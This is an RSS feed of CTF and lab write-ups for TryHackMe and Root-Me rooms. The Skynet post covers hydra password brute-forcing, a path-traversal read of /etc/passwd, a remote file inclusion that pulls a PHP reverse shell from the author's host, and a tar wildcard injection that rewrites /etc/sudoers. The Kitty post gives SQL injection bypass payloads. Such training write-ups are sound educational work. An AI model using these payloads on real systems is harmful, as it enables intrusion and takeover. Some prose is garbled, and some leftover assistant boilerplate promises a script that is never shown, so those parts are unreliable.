<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xYumeko on Medium]]></title>
        <description><![CDATA[Stories by 0xYumeko on Medium]]></description>
        <link>https://medium.com/@0xYumeko?source=rss-3c08709afbf4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-Mw6EFpC2M0RKwC11dbtRQ.jpeg</url>
            <title>Stories by 0xYumeko on Medium</title>
            <link>https://medium.com/@0xYumeko?source=rss-3c08709afbf4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 12:42:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xYumeko/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe WalkThrough L3ak_CTF]]></title>
            <link>https://medium.com/@0xYumeko/tryhackme-walkthrough-l3ak-ctf-7f6c9d6594bc?source=rss-3c08709afbf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f6c9d6594bc</guid>
            <dc:creator><![CDATA[0xYumeko]]></dc:creator>
            <pubDate>Fri, 23 Aug 2024 20:00:34 GMT</pubDate>
            <atom:updated>2024-08-23T20:00:34.090Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*0eSdkQ6pjilhVyc9vwAo7w.png" /></figure><p>The L3ak_CTF on TryHackMe is a Capture the Flag (CTF) challenge that focuses on testing a participant’s skills in identifying and exploiting information leaks, basic web vulnerabilities, and other security issues. Here’s a walkthrough of the key steps to solve the challenge.</p><h3>Step 1: Enumeration</h3><p>. Adding registries to your /etc/hosts file makes it easier for machines to remember and learn by their unique names rather than their IP addresses. It also helps in cases where a DNS resolution may not be available or reliable</p><pre>echo &quot;$IP l3ak.thm&quot; | sudo tee -a  /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*4A7SgddSzAUp1a6nimPiQw.png" /></figure><ol><li><strong>Start with an Nmap Scan:</strong></li></ol><ul><li>Use Nmap to scan the target for open ports and services.</li></ul><pre>nmap -sC -sV -oN nmap_scan &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*xK50WEuxbaLmQtNcz5d24g.png" /></figure><ul><li>The output will show you which ports are open and the services running on those ports.</li><li><strong>Examine the Web Server:</strong></li><li>If HTTP/HTTPS ports (80/443) are open, open the website in a browser.</li><li>Use tools like gobuster or dirb to find hidden directories.</li></ul><pre>gobuster dir -u http://&lt;target_ip&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*ogQiI8wJ7_qwDr29gieiYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLyLMktMcfQxoHqzqZoWPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XwAm1qHSi4fIlqcm-tRqWw.png" /></figure><p>This may reveal hidden files or directories such as: /1/index.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fT_7K_JsuOJtlv2OCKMi0g.png" /></figure><p>Show the page source, any commented information, or undefined scripts.</p><pre>&lt;?php if($_SERVER[&quot;REQUEST_METHOD&quot;]==&quot;POST&quot;){$9=&quot;B&quot;;$3=&quot;A&quot;;$4=&quot;K&quot;;$5=&quot;{&quot;;$11=&quot;}&quot;;$6=&quot;T&quot;;$username=$_POST[&quot;username&quot;];$password=$_POST[&quot;password&quot;];$8=&quot;_&quot;;$2=&quot;3&quot;;$pdo=new PDO(&quot;mysql:host=localhost;dbname=mydatabase&quot;,&quot;username&quot;,&quot;password&quot;);$10=&quot;S&quot;;$7=&quot;H&quot;;$1=&quot;L&quot;;$flag=$1.$2.$3.$4.$5.$6.$7.$8.$9.$10.$11;$stmt=$pdo;prepare(&quot;SELECT * FROM users WHERE username=?&quot;);$stmt execute([$username]);$user=$stmt fetch();if($user&amp;&amp;password_verify($password,$user[&#39;password&#39;])){session_start();$_SESSION[&#39;user_id&#39;]=$user[&#39;id&#39;];echo&quot;Welcome,&quot;.htmlspecialchars($user[&#39;username&#39;]).&quot;this is your flag&quot;.$flag.&quot;!&quot;;}else{echo&quot;Invalid username or password.&quot;;}}?&gt;&lt;html&gt;&lt;head&gt;&lt;meta charset=&quot;UTF-8&quot;&gt;&lt;title&gt;Sign In Form&lt;/title&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;s.css&quot;&gt;&lt;/head&gt;&lt;body&gt;&lt;form class=&quot;form&quot; autocomplete=&quot;off&quot; method=&quot;post&quot;&gt;&lt;div class=&quot;control&quot;&gt;&lt;h1&gt;Sign In&lt;/h1&gt;&lt;/div&gt;&lt;div class=&quot;control block-cube block-input&quot;&gt;&lt;input name=&quot;username&quot; type=&quot;text&quot; placeholder=&quot;Username&quot;/&gt;&lt;div class=&quot;bg-top&quot;&gt;&lt;div class=&quot;bg-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;bg-right&quot;&gt;&lt;div class=&quot;bg-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;bg&quot;&gt;&lt;div class=&quot;bg-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;control block-cube block-input&quot;&gt;&lt;input name=&quot;password&quot; type=&quot;password&quot; placeholder=&quot;Password&quot;/&gt;&lt;div class=&quot;bg-top&quot;&gt;&lt;div class=&quot;bg-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;bg-right&quot;&gt;&lt;div class=&quot;bg-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;bg&quot;&gt;&lt;div class=&quot;bg-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;button class=&quot;btn block-cube block-cube-hover&quot; type=&quot;submit&quot;&gt;&lt;div class=&quot;bg-top&quot;&gt;&lt;div class=&quot;bg-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;bg-right&quot;&gt;&lt;div class=&quot;bg-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;bg&quot;&gt;&lt;div class=&quot;bg-inner&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;text&quot;&gt;Log In&lt;/div&gt;&lt;/button&gt;&lt;script src=&quot;js.js&quot;&gt;&lt;/script&gt;&lt;/div&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;```</pre><p>PHP Code Analysis</p><pre>&lt;?php <br>if($_SERVER[&quot;REQUEST_METHOD&quot;]==&quot;POST&quot;){<br>    $9=&quot;B&quot;; <br>    $3=&quot;A&quot;; <br>    $4=&quot;K&quot;; <br>    $5=&quot;{&quot;; <br>    $11=&quot;}&quot;; <br>    $6=&quot;T&quot;; <br>    $username=$_POST[&quot;username&quot;]; <br>    $password=$_POST[&quot;password&quot;]; <br>    $8=&quot;_&quot;; <br>    $2=&quot;3&quot;; <br>    $pdo=new PDO(&quot;mysql:host=localhost;dbname=mydatabase&quot;,&quot;username&quot;,&quot;password&quot;); <br>    $10=&quot;S&quot;; <br>    $7=&quot;H&quot;; <br>    $1=&quot;L&quot;; <br>    $flag=$1.$2.$3.$4.$5.$6.$7.$8.$9.$10.$11;<br>    $stmt=$pdo-&gt;prepare(&quot;SELECT * FROM users WHERE username=?&quot;);<br>    $stmt-&gt;execute([$username]); <br>    $user=$stmt-&gt;fetch(); <br>    if($user &amp;&amp; password_verify($password, $user[&#39;password&#39;])){<br>        session_start();<br>        $_SESSION[&#39;user_id&#39;]=$user[&#39;id&#39;];<br>        echo &quot;Welcome, &quot;.htmlspecialchars($user[&#39;username&#39;]).&quot;, this is your flag: &quot;.$flag.&quot;!&quot;;<br>    } else {<br>        echo &quot;Invalid username or password.&quot;;<br>    }<br>}<br>?&gt;</pre><p>To generate the flag from the provided PHP code, let’s decode the obfuscated variables. The PHP code constructs the flag using these variables:</p><pre>$1=&quot;L&quot;;<br>$2=&quot;3&quot;;<br>$3=&quot;A&quot;;<br>$4=&quot;K&quot;;<br>$5=&quot;{&quot;;<br>$6=&quot;T&quot;;<br>$7=&quot;H&quot;;<br>$8=&quot;_&quot;;<br>$9=&quot;B&quot;;<br>$10=&quot;S&quot;;<br>$11=&quot;}&quot;;<br>$flag=$1.$2.$3.$4.$5.$6.$7.$8.$9.$10.$11;</pre><p>Let’s substitute these variables into the flag construction string:</p><pre>$1 = &quot;L&quot;<br>$2 = &quot;3&quot;<br>$3 = &quot;A&quot;<br>$4 = &quot;K&quot;<br>$5 = &quot;{&quot;<br>$6 = &quot;T&quot;<br>$7 = &quot;H&quot;<br>$8 = &quot;_&quot;<br>$9 = &quot;B&quot;<br>$10 = &quot;S&quot;<br>$11 = &quot;}&quot;</pre><p>Putting these together:</p><pre>L + 3 + A + K + { + T + H + _ + B + S + }</pre><p>So, the flag is:</p><pre>L3AK{TH_BS}</pre><h3>END ;</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f6c9d6594bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[root-me Web-Server HTML]]></title>
            <link>https://medium.com/@0xYumeko/root-me-web-server-html-13a748a6a381?source=rss-3c08709afbf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/13a748a6a381</guid>
            <dc:creator><![CDATA[0xYumeko]]></dc:creator>
            <pubDate>Sun, 14 Apr 2024 01:32:05 GMT</pubDate>
            <atom:updated>2024-04-14T01:32:05.892Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZY8IFtM1CPetVgiRa_oGCQ.png" /></figure><h3>You should check the source code of the web page. How to proceed:</h3><h3>To the web access page:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*omrnmIFV59S9hz5DNDWP7w.png" /></figure><h3>Enter the challenge page in your web browser.<br>Show page source:</h3><h3>Right-click on the web page and select “View Page Source” or press Ctrl+U (in most browsers) to view the HTML source of the page.<br>For this, you can use the browser tools (Ctrl + Shift + I in many versions) and go to the “Sources” or “Items” tab to browse the source code.<br>Password search:</h3><h3>Search the source HTML code for any hints or clues, paying particular attention to areas that may contain password-related information such as JavaScript code, comments, or hidden input contribution.<br>And do not forget which string resembles passwords or keys.<br>Take a screenshot:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*vNm7FQXIvH-2ztnfd4yV-g.png" /></figure><p>Return to the Root-Me platform and share science as a solution to the challenge.<br>Remember to follow any specific instructions given in the recipe correctly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*utj0FrmSCdX5Y6HE-2NP-g.png" /></figure><h3>Bravo ! Done this challenge very easy.</h3><p>Thanks for the reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13a748a6a381" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe WalkThrough Skynet]]></title>
            <link>https://medium.com/@0xYumeko/tryhackme-walkthrough-skynet-3c11ff41b527?source=rss-3c08709afbf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c11ff41b527</guid>
            <dc:creator><![CDATA[0xYumeko]]></dc:creator>
            <pubDate>Sat, 13 Apr 2024 22:39:17 GMT</pubDate>
            <atom:updated>2024-04-13T22:39:17.264Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*BUHKaJedSo1hsGe2WX7JMw.jpeg" /></figure><p>Sure, I can provide a general walkthrough for the Skynet room on TryHackMe. Here’s a step-by-step guide:</p><h3>Deploy the Machine:</h3><ul><li>Log in to your TryHackMe account and navigate to the Skynet room.</li><li>Click on the “Deploy” button to spawn the virtual machine.</li></ul><p>2. Adding registries to your /etc/hosts file makes it easier for machines to remember and learn by their unique names rather than their IP addresses. It also helps in cases where a DNS resolution may not be available or reliable</p><pre>echo &quot;10.10.225.54 Skynet.thm&quot; | sudo tee -a  /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*f-G07YVdye7B5zolGVmH0g.png" /></figure><h3>Enumeration:</h3><ul><li>Start by enumerating the services running on the machine using tools like Nmap.</li><li>Run a basic Nmap scan to discover open ports and services: nmap -sCV &lt;machine_IP&gt;.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dUvKeVZms3Ssk_TjgohHWg.png" /></figure><h3>Enumerate Web Service:</h3><ul><li>Once you have identified the open ports, check if there’s a web service running.</li><li>Visit the web service in your browser by navigating to http://&lt;machine_IP&gt;.</li></ul><h3>Examine the Website:</h3><ul><li>Look for any clues or hidden directories on the website. You can use tools like dirsearch for directory brute-forcing.</li><li>Examine the page source for any hidden comments or JavaScript.</li></ul><h3>dirsearch</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*buPe3qPg6JCcY0odXzGV7A.png" /></figure><h3>smbclient</h3><p>We have connected to major small businesses using smbclient. To share on the device. Anonymous Miles Dyson.</p><pre>smbclient -L skynet.thm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*pqKUGQQn-LZKYEdhT9lJuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*FR3kFVE4ITkLjRgLEywRkA.png" /></figure><p>Content of attention.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*q6Mxg7kLNzztgAdSeudmtg.png" /></figure><p>Content of log1.txt a password list</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*gm1o7ZnLjvIE5LARTXNMoA.png" /></figure><h3>Cracking Squirrelmail password</h3><p>You can do this easily using Burp Suite and hydra</p><pre> hydra -l milesdyson -P log1.txt skynet.thm  http-post-form &quot;/squirrelmail/src/redirect.php:login_username=^USER^&amp;secretkey=^PASS^:incorrect&quot; -t 20</pre><h3>hydra :</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*vbD824n_9R8f66FpHQRJLQ.png" /></figure><h3>Burp Suite :</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*09yE25W-GdWTvJTC6SooVA.png" /></figure><h3>We found it! Now we can log in:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0pJ34kPfF9ohJGy6HAUMA.png" /></figure><p>Only the first looks to be important for us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ptlkSGRwveWnx08f457oLg.png" /></figure><p>We found the password for smb, now we can login:</p><pre># smbclient //$ip/milesdyson -U milesdyson </pre><p>and we get access, inside are a lot of notes and files that we don’t necessary need, the only file that its usefull for us is important.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*MgOgf6aoNurloOm4uF1CKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*nGN0vTt1xeZBtRny9dUQFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*UndkrCmMiG3x35B9CCxz7w.png" /></figure><h3>Inside we find the secret directory:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qqyN4XvBpe1IlCjQSbaJIg.png" /></figure><p>If we go to that directory we find a simple page, let’s run dirb to see if there are more hidden directories:</p><pre>dirb http://10.10.167.117/45kra24zxs28v3yd/</pre><p>We find /administrator if we go there we find that the page is running CuppaCMS, we can search for it on searchsploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*mRYZ8a3Jme182SYO-MM6yw.png" /></figure><h3>sign in : Cuppa CMS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ax1hes0RBVpv0gSCBffBcg.png" /></figure><h3>Exploitation</h3><p>We open searchsploit and search for the exploit in The CMS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_qKdCMxt62WfDAez4_dkQQ.png" /></figure><p>Reading the text file for the exploit, we see that it is possible to read the Local files on the target machine by targeting the urlConfig parameter in the alertConfigField.php. The best part is that it doesn’t even warrant a login into the CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PVK37-iFFfMfosB8nVOPAQ.png" /></figure><p>we can read the /etc/passwd file on the target divice</p><pre>http://target/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=.../../../../../../../../../etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yW-6S83mjeTwARA2Rqb4pA.png" /></figure><ol><li>We can get our reverse shell for revshells.com, select PHP PentestMonkey, enter your machine ip and the listening port (in my case I choose 1234), downloaded and put it inside a folder</li><li>Start a http server in the folder where you downloaded your revshell:</li></ol><pre>python3 -m http.server</pre><p>3. Start our listener:</p><p>After executing this on our browser, a reverse shell should be opened on our side</p><pre>nc -lvnp 1337</pre><p>4. Request the link:</p><pre>http://skynet/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.224.219/php-reverse-shell.php</pre><p>Now we get our reverse shell!</p><p>We can spawn a shell with python:</p><pre>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><pre>we see that there is a photo user named Melideson. You Have highlighted the user within their home directory .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*J4Eu8cUsUlQ4MxvTVo143g.png" /></figure><h3><em>Answer: 7ce5c2109a40f958099283600a9ae807</em></h3><p>Inside /home/milesdyson/backups we find a file backup.sh and see that every minutes a script is being executed, we can perfom a wildcard injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*rkY6msQlL5eSM1LQN6GTXQ.png" /></figure><p>We run this commads, inside the folder /var/www/html:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*6iE-ZFfDl1Th6cENMwxVug.png" /></figure><pre>echo &#39;echo &quot;www-data ALL=(root) NOPASSWD: ALL&quot; &gt; /etc/sudoers&#39; &gt; pavan.sh<br>echo &quot;/var/www/html&quot;  &gt; &quot;--checkpoint-action=exec=sh pavan.sh&quot;<br>echo &quot;/var/www/html&quot;  &gt; --checkpoint=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*VGFdvQvKatKHdmTEmQIDHA.png" /></figure><pre>And get the root shell, and then we can find the tag /root/root.txt</pre><h3><em>Answer: </em>3f0372db24753accc7179a282cd6a949</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hYgeUSOOT0pcR2UczQ85xw.png" /></figure><h3>END ;</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c11ff41b527" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kitty Tryhackme Writeup]]></title>
            <link>https://medium.com/@0xYumeko/kitty-tryhackme-writeup-273a032c4efc?source=rss-3c08709afbf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/273a032c4efc</guid>
            <dc:creator><![CDATA[0xYumeko]]></dc:creator>
            <pubDate>Tue, 09 Apr 2024 20:19:43 GMT</pubDate>
            <atom:updated>2024-04-09T20:19:43.369Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9wbyb3ZJR-wzRebeJPbQtw.png" /></figure><p>Hello everyone!</p><p>Creating a write-up for the “Kitty” room on TryHackMe involves detailing the steps taken to solve the challenges and gain root access. Below is a simplified version of a write-up for the “Kitty” room.</p><h3>Overview:</h3><ul><li>Room Name: Kitty</li><li>Difficulty: Easy</li><li>Link: Kitty Room on TryHackMe <a href="https://tryhackme.com/r/room/kitty">https://tryhackme.com/r/room/kitty</a></li></ul><h3>Description:</h3><p>The Kitty room is a beginner-friendly room focusing on basic enumeration and exploitation techniques. It involves exploiting a vulnerable web application and escalating privileges to gain root access on the system.</p><h3>Walkthrough:</h3><ol><li><strong>Enumeration</strong>:</li></ol><ul><li>Start by deploying the machine on TryHackMe.</li><li>Perform a basic Nmap scan to discover open ports and services:</li><li>nmap sCV &lt;machine_ip&gt; -vv</li></ul><h3>Discover that there’s a web server running on port 80 and SSH running on port 22.</h3><p>when browsing to the site we get a login page :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*rHXuej60oPjk19c_kAmvaA.png" /></figure><p><strong>Considering that there is an HTTP server on the host, I will run a gobuster scan in the background while focusing on actively browsing the website.</strong></p><h4>However, dirsearch didn’t find anything interesting.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*c_rjgy5PKdbo1D1uEemqVg.png" /></figure><pre>That login page. There must be SQLi there.</pre><pre>test&#39; UNION SELECT 1,2,3,database() - -</pre><p>Verifying that the login page is vulnerable</p><p>Let’s start with the basics:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*vqCM8cAeM38SaXgzbYjqkw.png" /></figure><h3>It worked! We bypassed the login!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VsSHI6d7Lg7iag6tlLqgFw.png" /></figure><p><strong>It seems like you’re looking to automate the process of retrieving the database name from a Boolean-based SQL injection vulnerability. Below is a Python script that can assist you in achieving this:</strong></p><h3>Automated script</h3><p><a href="https://github.com/0x3f3c/retrieve_db-CTF">https://github.com/0x3f3c/retrieve_db-CTF</a></p><p>To use this script, save it to a file (e.g., retrieve_db_name.py) and execute it with the target IP address as a command-line argument, like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*xqjtT8BNI7HIyERVZZZljA.png" /></figure><p>Sure, you can use Python to automate the process of enumerating the database using the specified SQL injection payload. Here’s a Python script to achieve that:</p><pre>&#39; UNION SELECT 1,2,3,4 FROM siteusers WHERE username=\&quot;kitty\&quot; AND password LIKE BINARY &#39;a%&#39;;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*Zkl_OYVQDfuQQh2osmV9TQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=273a032c4efc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>